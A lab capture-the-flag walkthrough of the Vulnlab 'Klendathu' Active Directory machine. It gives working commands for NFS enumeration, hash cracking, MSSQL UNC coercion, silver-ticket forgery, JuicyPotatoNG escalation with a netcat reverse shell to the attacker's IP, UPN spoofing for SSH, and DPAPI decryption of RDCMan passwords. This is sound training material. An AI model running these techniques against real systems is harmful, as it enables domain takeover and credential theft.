Vulnlab — Klendathu
Klendathu, an insane rated machine involved enumerating nfs share containing a configuration file with password hash of domain user, this user had guest access on MSSQL service, forcing authentication with sys.dm_os_file_exist , forging silver ticket then escalating privileges on SRV1, spoofing domain user on SRV2 with the MSSQL user and then decrypting RDCMan credentials with domain backup key.
DC1.KLENDATHU.VL
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal ServicesSRV1.KLENDATHU.VL
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VLSRV2.KLENDATHU.VL
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.7 (protocol 2.0)
| ssh-hostkey:
| 256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)
|_ 256 1169f003859ff4ea1529d4c2655d27eb (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
2049/tcp openWe have smb port open on SRV1 and DC1, NFS on the linux hosts so let’s start enumerating the shares first
Enumerating NFS share
We get access denied on both of them, looking at nfs, we have /mnt/nfs_share that can be mounted from our host
Mounting the folder with mount
sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/sharesThere’s a configuration file for a cisco switch, at the end there’s a contact email which could be a domain user, which is a valid user
We can also see a cisco secret password which is MD5 hashed
This can be cracked with either hashcat or john
hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt --forceWith these credentials we can list down the shares on both windows hosts and can read HomeDirs on DC which is interesting
But these directories were not accessible with the user we had
Moving forward we can enumerate AD with bloodhound
python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VLThis user belongs to Netadmins group but there’s nothing beyond that bloodhound show us
Accessing MSSQL
We have MSSQL running on SRV1, so verifying these credentials can be used to login there
Here we can try to enable xp_cmdshell , but it was not getting executed, similarly with xp_dirtree as well
MSSQL Coerced Authentication
The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there’s a neat cheat sheet for coercion through mssql but most of them didn’t work as they required administrative privileges or were blocked, xp_fileexist was working tho but it wasn't able to perform coercion just showing if the file exists
Searching around for utilizing file exists, there’s another function sys.dm_os_file_exist which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two
SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')Forging Silver Ticket
The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)
For forging a silver ticket, ticketer.py will be used to do that
ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administratorAfter using the forged ticket (silver ticket), we can see that the user we currently are is dbo which is the database owner, so now we won't have any restrictions on running xp_cmdshell
Now transferring netcat to get a shell
Becoming Local Administrator on SRV1
We can perform local privilege escalating by abusing SeImpersonte privilege through JuicyPotato-NG
JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"From here onward there wasn’t anything we could do as dumping lsass didn’t returned any domain user’s hash other than the local admin and machine account
Spoofing Domain Users On GSSAPI Authentication
Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite and ForeChangePassword on two domain users, rico and ibanez , with this ACL we can change the password using rpcclient or net rpc
These accounts also don’t have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn’t worked
There’s a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName attribute, this attribute is utilized by NT_ENTERPRISE through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS with two members
Then adding userPrincpalName to be any of the two users, for adding this attribute we can use ldapmodify for that we need to create a ldif file
dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: floresldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldifThis attribute can be verified with ldapsearch
Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise
Make sure to have GSSAPI authentication in /etc/ssh/sshd_config and set the domain realm in /etc/krb5.conf
Convert the kirbi ticket to ccache and use it against ssh with -K
We can directly become root here as flores is a “linux admin”, so just running sudo bash will give us the root shell
root user’s directory has a backup of domain controller with ntds.dit , SAM and SECURITY file from the registry hive
But the passwords here have been reset so there’s no point and parse the ntds file, the /tmp directory has a ticket for svc_backup account
This can be used just by transferring on our kali machine and export the ticket
svc_backup doesn’t have any special ACL but the description does say about syncing data to user’s directories
Decrypting RDCMan password
So going back at the enumeration stage where we were trying to access smb shares, there were some user’s directories, with this user those directories are accessible
Here jnkeins.rdg , is a file containing configuration settings for connecting to remote desktop sessions, having administrator’s password hash
From chatgpt I generated a ps script to decrypt the password but it didn’t worked due to how the password is encrypted
Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
param (
[Parameter(Mandatory=$true)]
[string]$encryptedString
)
try {
$bytes = [Convert]::FromBase64String($encryptedString)
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)
return $decryptedString
} catch {
Write-Error "Failed to decrypt password: $_"
}
}
$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword
Write-Output "Decrypted Password: $decryptedPassword"So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip , after extracting the archive we’ll have the path to master keys ./AppData/Roaming/Microsoft/Protect
Using ntdissector , domain backup keys can be extracted, there will be a file named secrets.json containing pvk value encoded in base64
We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound
From DIANA Windows Credential Toolkit , there's a script diana-msrdcmandec.py for decrypting rdcman credentials, we have all the parameters for decrypting the password from rdg file
python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvkHaving administrator's password, we can just login through WinRM and get full access on the domain
References
- https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
- https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/
- https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-v
- https://www.ibm.com/docs/en/aix/7.1?topic=support-using-openssh-kerberos
- https://www.winter.fyi/2017/01/decrypt-password-remote-desktop-connection-manager-rdcman/
- https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context
- https://github.com/synacktiv/ntdissector
- https://github.com/tijldeneut/diana
